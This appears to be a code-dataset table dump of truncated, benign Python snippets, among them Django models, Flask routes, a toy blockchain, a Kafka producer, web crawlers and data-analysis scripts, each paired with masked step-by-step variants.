code
stringlengths
13
1.2M
order_type
stringclasses
1 value
original_example
dict
step_ids
listlengths
1
5
import FWCore.ParameterSet.Config as cms import FWCore.ParameterSet.VarParsing as VarParsing options = VarParsing.VarParsing() options.register( 'file','',VarParsing.VarParsing.multiplicity.singleton, VarParsing.VarParsing.varType.string, 'File path for storing output') options.parseArguments() file_path = options.f...
normal
{ "blob_id": "6aff61ce5cef537e6b1b19e382d8bf80e3a61693", "index": 1423, "step-1": "<mask token>\n", "step-2": "<mask token>\noptions.register('file', '', VarParsing.VarParsing.multiplicity.singleton,\n VarParsing.VarParsing.varType.string, 'File path for storing output')\noptions.parseArguments()\n<mask toke...
[ 0, 1, 2, 3, 4 ]
# Write function that determines if a string a palindrome off of any permutation def palinPerm(str): # Create empty set charSet = set() # Loop through string, if character does not exist in set, add it. If it does, remove it. for c in str: if c not in charSet: charSet.add(c) else: charSet.r...
normal
{ "blob_id": "04487dce97231a7be2bf3b164e93f0ea4d01ba05", "index": 1160, "step-1": "<mask token>\n", "step-2": "def palinPerm(str):\n charSet = set()\n for c in str:\n if c not in charSet:\n charSet.add(c)\n else:\n charSet.remove(c)\n return len(charSet) == 1 or len(...
[ 0, 1, 2, 3, 4 ]
#!/usr/bin/env python # -*- coding: UTF-8 -*- import os import platform import subprocess # try to import json module, if got an error use simplejson instead of json. try: import json except ImportError: import simplejson as json # if your server uses fqdn, you can suppress the domain, just change the bellow...
normal
{ "blob_id": "de819a72ab659b50620fad2296027cb9f4d3e4c0", "index": 5048, "step-1": "<mask token>\n", "step-2": "<mask token>\ntry:\n import json\nexcept ImportError:\n import simplejson as json\n<mask token>\nif platform.system() == 'Linux':\n\n def SubprocessPopen(k):\n devnull = open(os.devnull...
[ 0, 1, 2, 3, 4 ]
"""game""" def get_word_score(word_1, n_1): """string""" # import string # key = list(string.ascii_lowercase) # value = [] # x=1 sum_1 = 0 # for i in range(0, 26): # value.append(x) # x+=1 # dictionary_ = dict(zip(key, value)) # print(dictionary_) dictionary_ = {'...
normal
{ "blob_id": "325708d5e8b71bad4806b59f3f86a737c1baef8d", "index": 3976, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef get_word_score(word_1, n_1):\n \"\"\"string\"\"\"\n sum_1 = 0\n dictionary_ = {'a': 1, 'b': 3, 'c': 3, 'd': 2, 'e': 1, 'f': 4, 'g': 2,\n 'h': 4, 'i': 1, 'j': 8, 'k...
[ 0, 1, 2, 3, 4 ]
# coding=utf-8 import re import traceback from pesto_common.config.configer import Configer from pesto_common.log.logger_factory import LoggerFactory from pesto_orm.core.base import db_config from pesto_orm.core.executor import ExecutorFactory from pesto_orm.core.model import BaseModel from pesto_orm.core.repository i...
normal
{ "blob_id": "a68de7555fdab06014fd562e7db29ca2da03f443", "index": 8240, "step-1": "<mask token>\n\n\nclass MysqlBaseModel(BaseModel):\n\n def __init__(self, db_name=None, table_name=None, table_alias=None,\n primary_key='id'):\n super(MysqlBaseModel, self).__init__(db_name, table_name,\n ...
[ 7, 12, 13, 15, 16 ]
#!/usr/bin/env python3 #coding=utf8 from __future__ import (division,absolute_import,print_function,unicode_literals) import argparse, csv, sys,subprocess,time NR_THREAD=20 def shell(cmd): subprocess.call(cmd,shell=True) print("Done! {0}.".format(cmd)) start=time.time() cmd = 'mkdir FTRL/tmp -p' shell(cmd) ...
normal
{ "blob_id": "2a0172641c48c47f048bf5e9f1889b29abbb0b7c", "index": 767, "step-1": "<mask token>\n\n\ndef shell(cmd):\n subprocess.call(cmd, shell=True)\n print('Done! {0}.'.format(cmd))\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef shell(cmd):\n subprocess.call(cmd, shell=True)\n print('Done...
[ 1, 2, 3, 4, 5 ]
from flask import Blueprint, current_app logging = Blueprint("logging", __name__) @logging.route("/debug/") def debug(): current_app.logger.debug("some debug message") return "" @logging.route("/warning/") def warning(): current_app.logger.warning("some warning message") return "" @logging.ro...
normal
{ "blob_id": "7c2d57a8368eb8d1699364c60e98766e66f01569", "index": 4659, "step-1": "<mask token>\n\n\n@logging.route('/debug/')\ndef debug():\n current_app.logger.debug('some debug message')\n return ''\n\n\n<mask token>\n\n\n@logging.route('/error/')\ndef error():\n current_app.logger.error('some error m...
[ 2, 3, 4, 5, 6 ]
import turtle def distance(x1, y1, x2, y2): return ((x1 - x2) * (x1 - x2) + (y1 - y2) * (y1 - y2)) ** 0.5 x1, y1 = eval(input("Enter x1 and y1 for point 1: ")) x2, y2 = eval(input("Enter x2 and y2 for point 2: ")) distanceBetweenPoints = distance(x1, y1, x2, y2) turtle.penup() turtle.goto(x1, y1) turtle.pendown...
normal
{ "blob_id": "9f8065dfdfe07985244e18d92b59e1c045388a72", "index": 2557, "step-1": "<mask token>\n\n\ndef distance(x1, y1, x2, y2):\n return ((x1 - x2) * (x1 - x2) + (y1 - y2) * (y1 - y2)) ** 0.5\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef distance(x1, y1, x2, y2):\n return ((x1 - x2) * (x1 - x2...
[ 1, 2, 3, 4, 5 ]
from django.db import models from colorfield.fields import ColorField from api import settings from os.path import splitext from datetime import datetime, timedelta from PIL import Image def saveTaskPhoto(instance,filename): taskId = instance.id name,ext = splitext(filename) return f'tasks/task_{taskId}{e...
normal
{ "blob_id": "e59bd92a94399d4a81687fc5e52e9ae04b9de768", "index": 7472, "step-1": "<mask token>\n\n\nclass Task(models.Model):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <m...
[ 7, 8, 9, 10, 11 ]
from rest_framework.generics import ListCreateAPIView, RetrieveUpdateDestroyAPIView from .serializers import ConcertSerializer from .models import Concert from .permissions import IsOwnerOrReadOnly class ConcertList(ListCreateAPIView): queryset = Concert.objects.all() serializer_class = ConcertSerializer cla...
normal
{ "blob_id": "74ad2ec2cd7cd683a773b0affde4ab0b150d74c5", "index": 4780, "step-1": "<mask token>\n\n\nclass ConcertDetail(RetrieveUpdateDestroyAPIView):\n permission_classes = IsOwnerOrReadOnly,\n queryset = Concert.objects.all()\n serializer_class = ConcertSerializer\n", "step-2": "<mask token>\n\n\ncl...
[ 2, 3, 4, 5, 6 ]
import pytest import torch from homura.utils.containers import Map, TensorTuple def test_map(): map = Map(a=1, b=2) map["c"] = 3 for k, v in map.items(): assert map[k] == getattr(map, k) for k in ["update", "keys", "items", "values", "clear", "copy", "get", "pop"]: with pytest.raises...
normal
{ "blob_id": "c70b4ff26abe3d85e41bfc7a32cf6e1ce4c48d07", "index": 6291, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef test_tensortuple():\n a = torch.randn(3, 3), torch.randn(3, 3)\n t = TensorTuple(a)\n assert t[0].dtype == torch.float32\n assert t.to(torch.int32)[0].dtype == torch.i...
[ 0, 1, 2, 3, 4 ]
# 给定一个正整数 n,生成一个包含 1 到 n2 所有元素,且元素按顺时针顺序螺旋排列的正方形矩阵。 # # DEMO: # 输入: 3 # 输出: # [ # [ 1, 2, 3 ], # [ 8, 9, 4 ], # [ 7, 6, 5 ] # ] class Solution: def generateMatrix(self, n): """ 与 54 思路类似,注意边界... :type n: int :rtype: List[List[int]] """ array = [[0 for _ in ran...
normal
{ "blob_id": "f6bfb055e1c1750702580fc9c9295b8528218910", "index": 7416, "step-1": "<mask token>\n", "step-2": "class Solution:\n <mask token>\n", "step-3": "class Solution:\n\n def generateMatrix(self, n):\n \"\"\"\n 与 54 思路类似,注意边界...\n :type n: int\n :rtype: List[List[in...
[ 0, 1, 2, 3 ]
# CS 5010 Project # Team Metro # Test the data cleaning import unittest from cleaning_data import dfClean # import the dataframe we created after cleaning the data class DataTypesTestCase(unittest.TestCase): # we will test that each column has the correct data type # note that there is a strange occurenc...
normal
{ "blob_id": "9d0727970c760a9a8123c5c07359ba5c538cea3c", "index": 5926, "step-1": "<mask token>\n\n\nclass DataTypesTestCase(unittest.TestCase):\n <mask token>\n <mask token>\n\n def test_is_rain_a_float(self):\n rain = dfClean.iloc[4908, 2]\n self.assertTrue(isinstance(rain, float))\n <...
[ 18, 19, 29, 31, 33 ]
class Mood(object): GENERIC = 1 HIGH_TEMP = 2 LOW_TEMP = 3 HIGH_DUST = 4 LOW_DUST = 5 def decision(self, data): temp = float(data) if temp <= 10: return self.LOW_TEMP if temp > 30: return self.HIGH_TEMP if (10 < temp <=30): ...
normal
{ "blob_id": "511016b9cd54f6824360d609ede233b9cc3e4447", "index": 7564, "step-1": "<mask token>\n", "step-2": "class Mood(object):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n", "step-3": "class Mood(object):\n <mask token>\n <mask token>\...
[ 0, 1, 2, 3, 4 ]
import pandas as pd import random import math # takes 2 row series and calculates the distances between them def euclidean_dist(a: pd.Series, b: pd.Series): diff = a.sub(other=b) squares = diff ** 2 dist = 0 for feature_distance in squares: if not math.isnan(feature_distance): dis...
normal
{ "blob_id": "46b51f46f6ed73e3b9dc2f759535ba71facd2aae", "index": 5712, "step-1": "<mask token>\n\n\ndef euclidean_dist(a: pd.Series, b: pd.Series):\n diff = a.sub(other=b)\n squares = diff ** 2\n dist = 0\n for feature_distance in squares:\n if not math.isnan(feature_distance):\n di...
[ 4, 5, 6, 7, 8 ]
from django.shortcuts import render from .. login.models import * def user(request): context = { "users" : User.objects.all(), "user_level" : User.objects.get(id = request.session['user_id']) } return render(request, 'dashboard/user.html', context) def admin(request): context = { ...
normal
{ "blob_id": "3d737d0ee9c3af1f8ebe4c6998ad30fa34f42856", "index": 570, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef user(request):\n context = {'users': User.objects.all(), 'user_level': User.objects.get(\n id=request.session['user_id'])}\n return render(request, 'dashboard/user.htm...
[ 0, 1, 2, 3, 4 ]
import os import argparse from data.downloader import * from data.utils import * from data.danmaku import * from utils import * key = '03fc8eb101b091fb' parser = argparse.ArgumentParser(description='Download Video From Bilibili') parser.add_argument('-d', type=str, help='dataset') parser.add_argument('-o', type=str, de...
normal
{ "blob_id": "479411727de14e8032b6d01cdb844632111af688", "index": 5275, "step-1": "<mask token>\n", "step-2": "<mask token>\nparser.add_argument('-d', type=str, help='dataset')\nparser.add_argument('-o', type=str, default='dataset', help='output directory')\nparser.add_argument('-f', type=str, default='mp4', he...
[ 0, 1, 2, 3 ]
from django.apps import AppConfig class TimestechConfig(AppConfig): name = 'TimesTech'
normal
{ "blob_id": "94f50e371ef65e86d0d2d40a3ed16946f8811be3", "index": 2601, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass TimestechConfig(AppConfig):\n <mask token>\n", "step-3": "<mask token>\n\n\nclass TimestechConfig(AppConfig):\n name = 'TimesTech'\n", "step-4": "from django.apps impo...
[ 0, 1, 2, 3 ]
DEBUG = True SQLALCHEMY_DATABASE_URI = "postgresql://username:password@IPOrDomain/databasename" SQLALCHEMY_TRACK_MODIFICATIONS = True DATABASE_CONNECT_OPTIONS = {} THREADS_PER_PAGE = 2
normal
{ "blob_id": "a1b0e72b62abc89d5292f199ec5b6193b544e271", "index": 7813, "step-1": "<mask token>\n", "step-2": "DEBUG = True\nSQLALCHEMY_DATABASE_URI = (\n 'postgresql://username:password@IPOrDomain/databasename')\nSQLALCHEMY_TRACK_MODIFICATIONS = True\nDATABASE_CONNECT_OPTIONS = {}\nTHREADS_PER_PAGE = 2\n", ...
[ 0, 1, 2 ]
### # This Python module contains commented out classifiers that I will no longer # be using ### from sklearn.tree import DecisionTreeClassifier from sklearn.ensemble import BaggingClassifier from sklearn.ensemble import RandomForestClassifier from sklearn.neighbors import KNeighborsClassifier # Using Decision trees...
normal
{ "blob_id": "5029f3e2000c25d6044f93201c698773e310d452", "index": 3391, "step-1": "<mask token>\n", "step-2": "from sklearn.tree import DecisionTreeClassifier\nfrom sklearn.ensemble import BaggingClassifier\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.neighbors import KNeighborsClassifier\...
[ 0, 1, 2 ]
from typing import Union, Tuple import numpy as np from dispim import Volume def extract_3d(data: np.ndarray, center: np.ndarray, half_size: int): """ Extract an area around a point in a 3d numpy array, zero padded as necessary such that the specified point is at the center :param data: The numpy a...
normal
{ "blob_id": "26f486131bdf514cd8e41f75d414fe647eaf1140", "index": 9243, "step-1": "<mask token>\n\n\ndef extract_3d(data: np.ndarray, center: np.ndarray, half_size: int):\n \"\"\"\n Extract an area around a point in a 3d numpy array, zero padded as necessary such that the specified point is at the\n cent...
[ 3, 4, 5, 6, 7 ]
from dai_imports import* from obj_utils import* import utils class my_image_csv_dataset(Dataset): def __init__(self, data_dir, data, transforms_ = None, obj = False, minorities = None, diffs = None, bal_tfms = None): self.data_dir = data_dir self.data = data ...
normal
{ "blob_id": "5b8c95354f8b27eff8226ace52ab9e97f98ae217", "index": 80, "step-1": "<mask token>\n\n\nclass my_image_csv_dataset(Dataset):\n\n def __init__(self, data_dir, data, transforms_=None, obj=False,\n minorities=None, diffs=None, bal_tfms=None):\n self.data_dir = data_dir\n self.data ...
[ 15, 16, 19, 25, 29 ]
import matplotlib.pyplot as plt from shapely.geometry import MultiLineString, Polygon mls = MultiLineString([[(0, 1), (5, 1)], [(1, 2), (1, 0)]]) p = Polygon([(0.5, 0.5), (0.5, 1.5), (2, 1.5), (2, 0.5)]) results = mls.intersection(p) plt.subplot(1, 2, 1) for ls in mls: plt.plot(*ls.xy) plt.plot(*p.boundary.xy, "-...
normal
{ "blob_id": "9096ed4b68d2bef92df7db98589e744ddf3efad0", "index": 350, "step-1": "<mask token>\n", "step-2": "<mask token>\nplt.subplot(1, 2, 1)\nfor ls in mls:\n plt.plot(*ls.xy)\nplt.plot(*p.boundary.xy, '-.k')\nplt.xlim([0, 5])\nplt.ylim([0, 2])\nplt.subplot(1, 2, 2)\nfor ls in results:\n plt.plot(*ls....
[ 0, 1, 2, 3, 4 ]
# Generated by Django 2.2.2 on 2019-10-19 14:09 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('account', '0001_initial'), ] operations = [ migrations.AlterField( model_name='account', name='phone_number', ...
normal
{ "blob_id": "7d25a8eb61b6fb9069616745c2b68fd3ceeca9fb", "index": 6600, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n", "step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('account', '...
[ 0, 1, 2, 3, 4 ]
# Generated by Django 3.2.2 on 2021-05-07 08:01 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='teams', fields=[ ('id', models.AutoField(pr...
normal
{ "blob_id": "e72962b644fab148741eb1c528d48ada45a43e51", "index": 3978, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n <mask token>\n", "step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n initial = T...
[ 0, 1, 2, 3, 4 ]
import os pil = 'y' while(pil=='y'): os.system("cls") print("===============================") print("== KALKULATOR SEDERHANA ==") print("===============================") print("MENU-UTAMA : ") print("1 Penjumlahan") print("2 Pengurangan") print("3 Perkalian") print("4 Pembagia...
normal
{ "blob_id": "9e7dee9c0fd4cd290f4710649ffc4a94fedf0358", "index": 356, "step-1": "import os\npil = 'y'\nwhile(pil=='y'):\n os.system(\"cls\")\n print(\"===============================\")\n print(\"== KALKULATOR SEDERHANA ==\")\n print(\"===============================\")\n print(\"MENU-UTAMA :...
[ 0 ]
import matplotlib.pyplot as plt import numpy as np import scipy.io as scio import estimateGaussian as eg import multivariateGaussian as mvg import visualizeFit as vf import selectThreshold as st plt.ion() # np.set_printoptions(formatter={'float': '{: 0.6f}'.format}) '''第1部分 加载示例数据集''' #先通过一个小数据集进行异常检测 便于可视化 # 数据集...
normal
{ "blob_id": "de6b9961e0572338c87802314e7ae3cded5168b4", "index": 487, "step-1": "<mask token>\n", "step-2": "<mask token>\nplt.ion()\n<mask token>\nprint('Visualizing example dataset for outlier detection.')\n<mask token>\nplt.figure()\nplt.scatter(X[:, 0], X[:, 1], c='b', marker='x', s=15, linewidth=1)\nplt.a...
[ 0, 1, 2, 3, 4 ]
# Multiple Linear Regression # To set the working directory save this .py file where we have the Data.csv file # and then press the Run button. This will automatically set the working directory. # Importing the data from preprocessing data import numpy as np import matplotlib.pyplot as plt import pandas as pd d...
normal
{ "blob_id": "4d722975b4ffc1bbfe7591e6ceccc758f67a5599", "index": 6920, "step-1": "<mask token>\n", "step-2": "<mask token>\nregressor.fit(X_train, y_train)\n<mask token>\nregressor_OLS.summary()\n<mask token>\nregressor_OLS.summary()\n<mask token>\nregressor_OLS.summary()\n<mask token>\nregressor_OLS.summary()...
[ 0, 1, 2, 3, 4 ]
import datetime import hashlib import json from flask import Flask, jsonify, request import requests from uuid import uuid4 from urllib.parse import urlparse from Crypto.PublicKey import RSA # Part 1 - Building a Blockchain class Blockchain: #chain(emptylist) , farmer_details(emptylist), nodes(set), cre...
normal
{ "blob_id": "f8c222b1a84a092a3388cb801a88495bc227b1d5", "index": 9748, "step-1": "<mask token>\n\n\nclass Blockchain:\n\n def __init__(self):\n self.chain = []\n self.farmer_details = []\n self.create_block(proof=1, previous_hash='0')\n self.nodes = set()\n\n def create_block(se...
[ 13, 15, 16, 18, 21 ]
def find_happy_number(num): slow, fast = num, num while True: slow = find_square_sum(slow) # move one step fast = find_square_sum(find_square_sum(fast)) # move two steps if slow == fast: # found the cycle break return slow == 1 # see if the cycle is stuck on the number '1' def find_square_...
normal
{ "blob_id": "60b5e515c7275bfa0f79e22f54302a578c2f7b79", "index": 728, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef find_square_sum(num):\n _sum = 0\n while num > 0:\n digit = num % 10\n _sum += digit * digit\n num //= 10\n return _sum\n\n\n<mask token>\n", "step-...
[ 0, 1, 2, 3, 4 ]
# This package will contain the spiders of your Scrapy project # # Please refer to the documentation for information on how to create and manage # your spiders. import datetime import scrapy from ScrapyProject.items import ScrapyItem class ThalesSpider(scrapy.Spider): #item_id = ScrapyItem() name = 'thales' allo...
normal
{ "blob_id": "fd1b871c5cf79874acf8d5c4f1f73f7a381e23f7", "index": 8278, "step-1": "<mask token>\n\n\nclass ThalesSpider(scrapy.Spider):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n", "step-2": "<mask token>\n\n\nclass ThalesSpider(scrapy.Spider):\n <mask token>\n <mask token>\...
[ 1, 2, 3, 4, 5 ]
from django import forms from .models import User,Profile from django.contrib.auth.forms import UserCreationForm class ProfileForm(forms.ModelForm): ''' Form for the profile ''' class Meta: model = Profile exclude = ('user',) ## we will create the user with the signals class SignUpForm(Use...
normal
{ "blob_id": "7c3569c43d27ba605c0dba420690e18d7f849965", "index": 7372, "step-1": "<mask token>\n\n\nclass SignUpForm(UserCreationForm):\n \"\"\" Sign up form fetching form the User creation form\n and the email and password is necessary not the user \"\"\"\n\n\n class Meta:\n model = User\n ...
[ 2, 3, 4, 5, 6 ]
""" Neuraxle Tensorflow V1 Utility classes ========================================= Neuraxle utility classes for tensorflow v1. .. Copyright 2019, Neuraxio Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obta...
normal
{ "blob_id": "76a22408bb423d9a5bc5bc007decdbc7c6cc98f7", "index": 8397, "step-1": "<mask token>\n\n\nclass TensorflowV1ModelStep(BaseTensorflowModelStep):\n <mask token>\n <mask token>\n <mask token>\n\n def __init__(self, create_graph, create_loss, create_optimizer,\n create_feed_dict=None, da...
[ 13, 15, 16, 19, 21 ]
import pygame import sys import time import random from snake_gym.envs.modules import * from pygame.locals import * import numpy as np class SnakeGame(object): def __init__(self): self.screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT), 0, 32) self.surface = pygame.Surface...
normal
{ "blob_id": "6d61df9ac072100d01a1ce3cf7b4c056f66a163c", "index": 502, "step-1": "<mask token>\n\n\nclass SnakeGame(object):\n <mask token>\n\n def reset(self):\n return SnakeGame._get_image(self.surface)\n\n def step(self, key):\n length = self.snake.length\n for event in pygame.eve...
[ 3, 4, 5, 6 ]
from django.http import JsonResponse from django.shortcuts import render from phone_number_parser.forms import TextForm import re def parse_text(request): ########################################################################### # # Parse Text is the lone view for this project. A GET request renders a ...
normal
{ "blob_id": "d27a7ca04e12d50aca5a9f9db199102dbeb4e9f1", "index": 7678, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef parse_text(request):\n if request.method == 'POST':\n text = request.POST.get('the_text')\n phone_number_list = []\n matches = re.findall(\n '\\...
[ 0, 1, 2, 3 ]
from datetime import date def diff_in_date(first, second): value = str(second - first) if value.__contains__(','): generated_sum = value.split(',') return generated_sum[0] else: return value first_date = date(2014, 7, 2) second_date = date(2014, 7, 11) current_date = date.today()...
normal
{ "blob_id": "9b6d30a40bafa0e9e4760843d6a2f750f0f88a57", "index": 6106, "step-1": "<mask token>\n\n\ndef diff_in_date(first, second):\n value = str(second - first)\n if value.__contains__(','):\n generated_sum = value.split(',')\n return generated_sum[0]\n else:\n return value\n\n\n<...
[ 1, 2, 3, 4 ]
import requests import json import datetime from bs4 import BeautifulSoup from pymongo import MongoClient, UpdateOne import sys #usage: python freesound_crawler.py [from_page] [to_page] SOUND_URL = "https://freesound.org/apiv2/sounds/" SEARCH_URL = "https://freesound.org/apiv2/search/text/" AUTORIZE_URL = "https://fr...
normal
{ "blob_id": "2294dc21ede759e755e51471705fa8ef784528a7", "index": 8707, "step-1": "import requests\nimport json\nimport datetime\nfrom bs4 import BeautifulSoup\nfrom pymongo import MongoClient, UpdateOne\nimport sys\n\n#usage: python freesound_crawler.py [from_page] [to_page]\n\nSOUND_URL = \"https://freesound.or...
[ 0 ]
from django.contrib import admin from .models import Predictions @admin.register(Predictions) class PredictionsAdmin(admin.ModelAdmin): pass
normal
{ "blob_id": "bab78e8a88f9a26cc13fe0c301f82880cee2b680", "index": 965, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\n@admin.register(Predictions)\nclass PredictionsAdmin(admin.ModelAdmin):\n pass\n", "step-3": "from django.contrib import admin\nfrom .models import Predictions\n\n\n@admin.registe...
[ 0, 1, 2 ]
#!/usr/bin/env python3 import logging import datetime import os import time import json import prod import secret from logging.handlers import RotatingFileHandler import requests import sns from kafka import KafkaProducer logger = logging.getLogger() logger.setLevel('INFO') log_path = os.path.basename(__file__).split...
normal
{ "blob_id": "283b93437072f0fd75d75dab733ecab05dc9e1f3", "index": 3872, "step-1": "<mask token>\n\n\nclass Producer:\n\n def __init__(self, topic):\n kafka_uname = os.environ['KAFKA_USERNAME']\n kafka_pwd = os.environ['KAFKA_PASSWORD']\n kafka_hosts = os.environ['KAFKA_HOSTS']\n ssl...
[ 4, 7, 8, 9, 11 ]
from django import forms class ListingForm(forms.Form): text = forms.CharField( max_length=50, widget=forms.TextInput( attrs={"class": "form-control", "placeholder": "Things to Buy"} ), )
normal
{ "blob_id": "3f23a50f44ba17c9b0241a4e3b0e939afeb1f5f0", "index": 3092, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass ListingForm(forms.Form):\n <mask token>\n", "step-3": "<mask token>\n\n\nclass ListingForm(forms.Form):\n text = forms.CharField(max_length=50, widget=forms.TextInput(at...
[ 0, 1, 2, 3, 4 ]
from numpy import array import xspec as xs import matplotlib.pyplot as plt from mpl_toolkits.axes_grid1 import Grid from spectralTools.step import Step class xspecView(object): def __init__(self): #xs.Plot.device="/xs" xs.Plot.xAxis='keV' self.swift = [] self.nai=[] s...
normal
{ "blob_id": "ba34bae7849ad97f939c1a7cb91461269cd58b64", "index": 8994, "step-1": "<mask token>\n\n\nclass xspecView(object):\n <mask token>\n\n def LoadSwiftPHAs(self, phaFiles):\n \"\"\"\n Load The Swift PHAs in time order\n\n \"\"\"\n for pha in phaFiles:\n s = xs.S...
[ 5, 6, 7, 8, 9 ]
import numpy as np from global_module.implementation_module import Autoencoder from global_module.implementation_module import Reader import tensorflow as tf from global_module.settings_module import ParamsClass, Directory, Dictionary import random import sys import time class Test: def __init__(self): se...
normal
{ "blob_id": "e008f9b11a9b7480e9fb53391870809d6dea5497", "index": 3953, "step-1": "<mask token>\n\n\nclass Test:\n\n def __init__(self):\n self.iter_test = 0\n <mask token>\n <mask token>\n", "step-2": "<mask token>\n\n\nclass Test:\n\n def __init__(self):\n self.iter_test = 0\n\n d...
[ 2, 3, 4, 5, 6 ]
import re def password_validation(password): return bool(re.search("^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)[a-zA-Z\d]{6,}$", password))
normal
{ "blob_id": "d44c76ff7e94bea6e03324c45d139602c724c7be", "index": 2539, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef password_validation(password):\n return bool(re.search(\n '^(?=.*[a-z])(?=.*[A-Z])(?=.*\\\\d)[a-zA-Z\\\\d]{6,}$', password))\n", "step-3": "import re\n\n\ndef password...
[ 0, 1, 2, 3 ]
from selenium import webdriver import time import math def calc(x): return str(math.log(abs(12*math.sin(int(x))))) try: br = webdriver.Chrome(); lk = 'http://suninjuly.github.io/get_attribute.html' br.get(lk) #собираю treasure=br.find_element_by_id('treasure') valuex = treasure.get_attribute('valuex') radio_...
normal
{ "blob_id": "2a92c47231b75a441660fed80a9bce9a35695af5", "index": 1222, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef calc(x):\n return str(math.log(abs(12 * math.sin(int(x)))))\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef calc(x):\n return str(math.log(abs(12 * math.sin(int(x))...
[ 0, 1, 2, 3, 4 ]
import pandas as pd import numpy as np import sys def avg (x): return [sum(x[i])/row for i in range(col)] def sd (x): return [np.std(x[i]) for i in range(col)] def cov (x, md_x): cov_xy=[[0 for r in range(col)] for c in range(col)] for i in range(col): for j in range (col): for k ...
normal
{ "blob_id": "ad3c5ed3d6a9aa83e69f53d3fec845e8e2b1c9c6", "index": 883, "step-1": "<mask token>\n\n\ndef avg(x):\n return [(sum(x[i]) / row) for i in range(col)]\n\n\n<mask token>\n\n\ndef cov(x, md_x):\n cov_xy = [[(0) for r in range(col)] for c in range(col)]\n for i in range(col):\n for j in ran...
[ 3, 4, 5, 6, 7 ]
# https://leetcode.com/problems/wiggle-subsequence/ # # algorithms # Medium (36.9%) # Total Accepted: 43,722 # Total Submissions: 118,490 # beats 100.0% of python submissions class Solution(object): def wiggleMaxLength(self, nums): """ :type nums: List[int] :rtype: int """ ...
normal
{ "blob_id": "6c1f7b8e71760cac443a06f68f5f6ee3c2151e50", "index": 8170, "step-1": "<mask token>\n", "step-2": "class Solution(object):\n <mask token>\n", "step-3": "class Solution(object):\n\n def wiggleMaxLength(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \...
[ 0, 1, 2, 3 ]
from bs4 import BeautifulSoup import requests res = requests.get('http://quotes.toscrape.com/') #print(res.content) #proper ordered printing #print(res.text) #lxml -> parser library soup = BeautifulSoup(res.text , 'lxml') #print(soup) quote = soup.find_all('div',{'class' : 'quote'}) with open('Quotes.txt...
normal
{ "blob_id": "777c08876a2de803fc95de937d9e921044545ef8", "index": 3674, "step-1": "<mask token>\n", "step-2": "<mask token>\nwith open('Quotes.txt', 'w') as ff:\n for q in quote:\n msg = q.find('span', {'class': 'text'})\n print(msg.text)\n ff.write(msg.text)\n author = q.find('sm...
[ 0, 1, 2, 3, 4 ]
# Exercício Python 20: O mesmo professor do desafio 19 quer sortear a ordem de apresentação de trabalhos dos alunos. Faça um programa que leia o nome dos quatro alunos e mostre a ordem sorteada. import random aluno1 = input('Primeiro aluno: ') aluno2 = input('Segundo aluno: ') aluno3 = input('Terceiro aluno: ') ...
normal
{ "blob_id": "445bb8ad8dadd207a3546f4623de583fc47a2910", "index": 2180, "step-1": "<mask token>\n", "step-2": "<mask token>\nrandom.shuffle(listaAlunos)\nprint('A ordem de apresentação será ', listaAlunos)\n", "step-3": "<mask token>\naluno1 = input('Primeiro aluno: ')\naluno2 = input('Segundo aluno: ')\nalun...
[ 0, 1, 2, 3, 4 ]
#!/usr/bin/env python # coding: utf-8 # Predicting Surviving the Sinking of the Titanic # ----------------------------------------------- # # # This represents my first attempt at training up some classifiers for the titanic dataset. # In[ ]: # data analysis and wrangling import pandas as pd import numpy as np i...
normal
{ "blob_id": "05f143e28ff9c7397376ad598529c1dfb7528ee3", "index": 7269, "step-1": "<mask token>\n\n\ndef get_na(dataset):\n na_males = dataset[dataset.Sex == 'male'].loc[:, 'AgeGroup'].isnull().sum()\n na_females = dataset[dataset.Sex == 'female'].loc[:, 'AgeGroup'].isnull(\n ).sum()\n return {'ma...
[ 4, 5, 6, 7, 8 ]
############################################################################## # # Copyright (c) 2005 Nexedi SARL and Contributors. All Rights Reserved. # Yoshinori Okuji <yo@nexedi.com> # Christophe Dumez <christophe@nexedi.com> # # WARNING: This program as such is intended to be ...
normal
{ "blob_id": "ffb6379f2f2611fd8aa73f3a3c15fed4550d348f", "index": 5920, "step-1": "<mask token>\n\n\nclass CodeBlock:\n <mask token>\n\n def __init__(self, raw_diff):\n self.body = os.linesep.join(raw_diff.splitlines()[1:])\n self.header = raw_diff.splitlines()[0]\n tmp = re.search('^@@...
[ 13, 19, 22, 24, 26 ]
# coding: utf-8 ''' Created on 2013-7-8 @author: huqiming ''' import json import re import urllib2 ''' 图说内容 ''' class ts_content: ''' 图说标题 ''' title = '' ''' 图说日期 ''' date = '' ''' 图说段落 ''' parts = [] def __str__(self): return 'parts: ...
normal
